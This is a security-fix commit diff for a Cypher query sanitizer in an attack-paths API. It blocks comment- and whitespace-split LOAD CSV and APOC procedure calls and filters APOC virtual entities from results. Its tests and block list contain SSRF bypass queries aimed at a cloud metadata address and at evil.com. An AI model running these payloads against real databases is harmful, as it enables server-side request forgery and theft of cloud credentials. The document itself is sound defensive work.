fix(api): harden Attack Paths custom query sanitizer (#13120)

api/changelog.d/attack-paths-custom-query-comment-bypass.security.md

@@ -0,0 +1 @@
+Attack Paths custom queries strip block comments before the blocked-operation check and drop APOC virtual nodes and relationships from results, so `LOAD CSV` can no longer be split with a comment nor its response returned under a forged provider label

api/src/backend/api/attack_paths/cypher_sanitizer.py

@@ -12,7 +12,7 @@ Two responsibilities:
 
 Label-injection pipeline:
 
-1. **Protect** string literals and line comments (placeholder replacement).
+1. **Protect** string literals and comments (placeholder replacement).
 2. **Split** by top-level clause keywords to track clause context.
 3. **Pass A** - inject into *labeled* node patterns in ALL segments.
 4. **Pass B** - inject into *bare* node patterns in MATCH segments only.
@@ -25,10 +25,12 @@ from rest_framework.exceptions import ValidationError
 from tasks.jobs.attack_paths.config import get_provider_label
 
 # Step 1 - String / comment protection
-# Single combined regex: strings first, then line comments
+# Single combined regex: strings first, then line and block comments
 # The regex engine finds the leftmost match, so a string like 'https://prowler.com'
 # is consumed as a string before the // inside it can match as a comment
-_PROTECTED_RE = re.compile(r"'(?:[^'\\]|\\.)*'|\"(?:[^\"\\]|\\.)*\"|//[^\n]*")
+_PROTECTED_RE = re.compile(
+    r"'(?:[^'\\]|\\.)*'|\"(?:[^\"\\]|\\.)*\"|//[^\n]*|/\*[\s\S]*?\*/"
+)
 
 # Step 2 - Clause splitting
 # `OPTIONAL MATCH` must come before `MATCH` to avoid partial matching
@@ -143,18 +145,26 @@ def inject_label(cypher: str, label: str) -> str:
 
 # Patterns that indicate SSRF or dangerous procedure calls
 # Defense-in-depth layer - the primary control is `neo4j.READ_ACCESS`
+# Neo4j accepts whitespace (and therefore comments) around the dots of a
+# qualified procedure name, so `apoc . load` is `apoc.load`.
+_BLOCKED_APOC_NAMESPACES = (
+    "load",
+    "import",
+    "export",
+    "cypher",
+    "systemdb",
+    "config",
+    "periodic",
+    "do",
+    "trigger",
+    "custom",
+)
 _BLOCKED_PATTERNS = [
     re.compile(r"\bLOAD\s+CSV\b", re.IGNORECASE),
-    re.compile(r"\bapoc\.load\b", re.IGNORECASE),
-    re.compile(r"\bapoc\.import\b", re.IGNORECASE),
-    re.compile(r"\bapoc\.export\b", re.IGNORECASE),
-    re.compile(r"\bapoc\.cypher\b", re.IGNORECASE),
-    re.compile(r"\bapoc\.systemdb\b", re.IGNORECASE),
-    re.compile(r"\bapoc\.config\b", re.IGNORECASE),
-    re.compile(r"\bapoc\.periodic\b", re.IGNORECASE),
-    re.compile(r"\bapoc\.do\b", re.IGNORECASE),
-    re.compile(r"\bapoc\.trigger\b", re.IGNORECASE),
-    re.compile(r"\bapoc\.custom\b", re.IGNORECASE),
+    *(
+        re.compile(rf"\bapoc\s*\.\s*{namespace}\b", re.IGNORECASE)
+        for namespace in _BLOCKED_APOC_NAMESPACES
+    ),
 ]
 
 
@@ -162,10 +172,11 @@ def validate_custom_query(cypher: str) -> None:
     """Reject queries containing known SSRF or dangerous procedure patterns.
 
     Raises ValidationError if a blocked pattern is found.
-    String literals and comments are stripped before matching to avoid
-    false positives.
+    String literals and comments are replaced by a space before matching:
+    literals cannot trigger false positives and a comment cannot split a
+    keyword pair such as `LOAD /**/ CSV`, which Neo4j still parses as `LOAD CSV`.
     """
-    stripped = _PROTECTED_RE.sub("", cypher)
+    stripped = _PROTECTED_RE.sub(" ", cypher)
     for pattern in _BLOCKED_PATTERNS:
         if pattern.search(stripped):
             raise ValidationError({"query": "Query contains a blocked operation"})

api/src/backend/api/attack_paths/sink/base.py

@@ -45,6 +45,10 @@ class SinkDatabase(Protocol):
         parameters: dict[str, Any] | None = None,
     ) -> neo4j.graph.Graph: ...
 
+    def is_persisted_element_id(self, element_id: str) -> bool:
+        """Whether an element id belongs to a stored entity rather than one minted at query time."""
+        return True
+
     def create_database(self, database: str) -> None: ...
 
     def drop_database(self, database: str) -> None: ...

api/src/backend/api/attack_paths/sink/neo4j.py

@@ -7,6 +7,7 @@ path while phase-1 drains tenant DBs.
 
 import atexit
 import logging
+import re
 import threading
 import time
 from collections.abc import Iterator
@@ -186,6 +187,13 @@ class Neo4jSink(SinkDatabase):
 
             return session.execute_read(_run)
 
+    # APOC virtual nodes report a bare negative number and virtual
+    # relationships a random UUID, neither in the stored-entity format.
+    _PERSISTED_ELEMENT_ID_RE = re.compile(r"^\d+:[^:]+:\d+$")
+
+    def is_persisted_element_id(self, element_id: str) -> bool:
+        return bool(self._PERSISTED_ELEMENT_ID_RE.match(element_id))
+
     def create_database(self, database: str) -> None:
         with self.get_session() as session:
             session.run(

api/src/backend/api/attack_paths/views_helpers.py

@@ -15,6 +15,7 @@ from api.attack_paths.queries.schema import (
     RAW_SCHEMA_URL,
     get_cartography_schema_query,
 )
+from api.attack_paths.sink.base import SinkDatabase
 from api.models import AttackPathsScan
 from config.custom_logging import BackendLogger
 from config.env import env
@@ -135,7 +136,7 @@ def execute_query(
             cypher = inject_provider_label(cypher, provider_id)
 
         graph = backend.execute_read_query(database_name, cypher, parameters)
-        return _serialize_graph(graph, provider_id)
+        return _serialize_graph(graph, provider_id, backend)
 
     except graph_database.WriteQueryNotAllowedException:
         raise PermissionDenied(
@@ -174,6 +175,8 @@ def execute_custom_query(
     # 1. `neo4j.READ_ACCESS` - prevents mutations at the driver level
     # 2. `inject_provider_label()` - regex-based label injection scopes node patterns
     # 3. `_serialize_graph()` - post-query filter drops nodes without the provider label
+    #    and any node or relationship the backend did not store (APOC virtual
+    #    entities can carry an arbitrary label and arbitrary properties)
     # 4. `USING QUERY:TIMEOUTMILLISECONDS` on Neptune - server-side runaway cutoff
     #
     # Layer 2 is best-effort (regex can't fully parse Cypher);
@@ -193,7 +196,7 @@ def execute_custom_query(
 
     try:
         graph = backend.execute_read_query(database_name, cypher, None)
-        serialized = _serialize_graph(graph, provider_id)
+        serialized = _serialize_graph(graph, provider_id, backend)
         return _truncate_graph(serialized)
 
     except graph_database.ClientStatementException as exc:
@@ -265,13 +268,15 @@ def _truncate_graph(graph: dict[str, Any]) -> dict[str, Any]:
     return graph
 
 
-def _serialize_graph(graph, provider_id: str) -> dict[str, Any]:
+def _serialize_graph(graph, provider_id: str, backend: SinkDatabase) -> dict[str, Any]:
     provider_label = get_provider_label(provider_id)
 
     nodes = []
     kept_node_ids = set()
     for node in graph.nodes:
-        if provider_label not in node.labels:
+        if provider_label not in node.labels or not backend.is_persisted_element_id(
+            node.element_id
+        ):
             continue
 
         kept_node_ids.add(node.element_id)
@@ -286,7 +291,7 @@ def _serialize_graph(graph, provider_id: str) -> dict[str, Any]:
     filtered_count = len(graph.nodes) - len(nodes)
     if filtered_count > 0:
         logger.debug(
-            f"Filtered {filtered_count} nodes without provider label {provider_label}"
+            f"Filtered {filtered_count} nodes without provider label {provider_label} or not stored"
         )
 
     relationships = []
@@ -294,6 +299,7 @@ def _serialize_graph(graph, provider_id: str) -> dict[str, Any]:
         if (
             relationship.start_node.element_id not in kept_node_ids
             or relationship.end_node.element_id not in kept_node_ids
+            or not backend.is_persisted_element_id(relationship.element_id)
         ):
             continue
 

api/src/backend/api/tests/test_attack_paths.py

@@ -321,7 +321,7 @@ def test_serialize_graph_filters_by_provider_label(attack_paths_graph_stub_class
         relationships=[rel_keep, rel_drop_orphaned],
     )
 
-    result = views_helpers._serialize_graph(graph, provider_id)
+    result = views_helpers._serialize_graph(graph, provider_id, _all_persisted())
 
     assert len(result["nodes"]) == 1
     assert result["nodes"][0]["id"] == "n1"
@@ -329,6 +329,71 @@ def test_serialize_graph_filters_by_provider_label(attack_paths_graph_stub_class
     assert result["relationships"][0]["id"] == "r1"
 
 
+def _all_persisted():
+    return SimpleNamespace(is_persisted_element_id=lambda element_id: True)
+
+
+def test_serialize_graph_drops_virtual_entities(attack_paths_graph_stub_classes):
+    provider_id = "provider-keep"
+    plabel = get_provider_label(provider_id)
+    stored_ids = {"n1", "n2", "r1"}
+    backend = SimpleNamespace(
+        is_persisted_element_id=lambda element_id: element_id in stored_ids
+    )
+
+    node_1 = attack_paths_graph_stub_classes.Node("n1", ["AWSAccount", plabel], {})
+    node_2 = attack_paths_graph_stub_classes.Node("n2", ["AWSRole", plabel], {})
+    # apoc.create.vNode can carry the provider label and any payload
+    node_virtual = attack_paths_graph_stub_classes.Node(
+        "-1", ["AWSAccount", plabel], {"body": "fetched"}
+    )
+
+    rel_stored = attack_paths_graph_stub_classes.Relationship(
+        "r1", "OWNS", node_1, node_2, {}
+    )
+    # apoc.create.vRelationship between two stored nodes passes the endpoint check
+    rel_virtual = attack_paths_graph_stub_classes.Relationship(
+        "45cc10ea-9618-47fb-abaa-8e82a58d6b40", "V", node_1, node_2, {"body": "fetched"}
+    )
+    rel_to_virtual = attack_paths_graph_stub_classes.Relationship(
+        "r2", "OWNS", node_1, node_virtual, {}
+    )
+
+    graph = SimpleNamespace(
+        nodes=[node_1, node_2, node_virtual],
+        relationships=[rel_stored, rel_virtual, rel_to_virtual],
+    )
+
+    result = views_helpers._serialize_graph(graph, provider_id, backend)
+
+    assert [node["id"] for node in result["nodes"]] == ["n1", "n2"]
+    assert [rel["id"] for rel in result["relationships"]] == ["r1"]
+    assert "fetched" not in str(result)
+
+
+@pytest.mark.parametrize(
+    "element_id, persisted",
+    [
+        ("4:9f1d9d76-bb08-478c-b25d-7e577f967732:0", True),
+        ("5:9f1d9d76-bb08-478c-b25d-7e577f967732:12", True),
+        ("-2", False),
+        ("45cc10ea-9618-47fb-abaa-8e82a58d6b40", False),
+        ("", False),
+    ],
+    ids=[
+        "stored_node",
+        "stored_relationship",
+        "virtual_node",
+        "virtual_relationship",
+        "empty",
+    ],
+)
+def test_neo4j_sink_is_persisted_element_id(element_id, persisted):
+    from api.attack_paths.sink.neo4j import Neo4jSink
+
+    assert Neo4jSink().is_persisted_element_id(element_id) is persisted
+
+
 # -- serialize_graph_as_text -------------------------------------------------------
 
 

api/src/backend/api/tests/test_cypher_sanitizer.py

@@ -222,6 +222,12 @@ class TestProtection:
         result = _inject(cypher)
         assert result.count(LABEL) == 1
 
+    def test_block_comment_with_node_pattern(self):
+        cypher = "MATCH (n:AWSRole) /* (m:Fake)\n(k) */ RETURN n"
+        result = _inject(cypher)
+        assert "/* (m:Fake)\n(k) */" in result
+        assert result.count(LABEL) == 1
+
 
 # ---------------------------------------------------------------------------
 # Clause splitting
@@ -439,6 +445,35 @@ class TestValidation:
 
         assert "blocked operation" in str(exc.value.detail)
 
+    @pytest.mark.parametrize(
+        "cypher",
+        [
+            "LOAD /* c */ CSV FROM 'http://169.254.169.254/' AS x RETURN x",
+            "LOAD/**/CSV FROM 'http://evil.com' AS x RETURN x",
+            "LOAD /* a */ /* b */ CSV FROM 'http://evil.com' AS x RETURN x",
+            "LOAD /* multi\nline */ CSV FROM 'http://evil.com' AS x RETURN x",
+            "CALL apoc./**/load.json('http://evil.com/') YIELD value RETURN value",
+            "CALL apoc . load.json('http://evil.com/') YIELD value RETURN value",
+            "CALL apoc.load . json('http://evil.com/') YIELD value RETURN value",
+            "CALL apoc\n.cypher.run('CREATE (n)', {}) YIELD value RETURN value",
+        ],
+        ids=[
+            "LOAD_CSV_block_comment",
+            "LOAD_CSV_empty_block_comment",
+            "LOAD_CSV_two_block_comments",
+            "LOAD_CSV_multiline_block_comment",
+            "apoc.load_block_comment",
+            "apoc.load_spaces_around_dot",
+            "apoc.load_spaces_before_procedure",
+            "apoc.cypher_newline_before_dot",
+        ],
+    )
+    def test_rejects_blocked_patterns_split_by_comments_or_whitespace(self, cypher):
+        with pytest.raises(ValidationError) as exc:
+            validate_custom_query(cypher)
+
+        assert "blocked operation" in str(exc.value.detail)
+
     @pytest.mark.parametrize(
         "cypher",
         [
@@ -448,6 +483,8 @@ class TestValidation:
             "CALL apoc.create.vNode(['Label'], {}) YIELD node RETURN node",
             "MATCH (n) WHERE n.name = 'apoc.load.json' RETURN n",
             'MATCH (n) WHERE n.description = "LOAD CSV is cool" RETURN n',
+            "MATCH (n) /* LOAD CSV is documented here */ RETURN n",
+            "MATCH (n) WHERE n.note = '/* LOAD CSV */' RETURN n",
         ],
         ids=[
             "simple_match",
@@ -456,6 +493,8 @@ class TestValidation:
             "apoc_virtual_node",
             "apoc_load_inside_single_quotes",
             "load_csv_inside_double_quotes",
+            "load_csv_inside_block_comment",
+            "block_comment_inside_string",
         ],
     )
     def test_allows_clean_queries(self, cypher):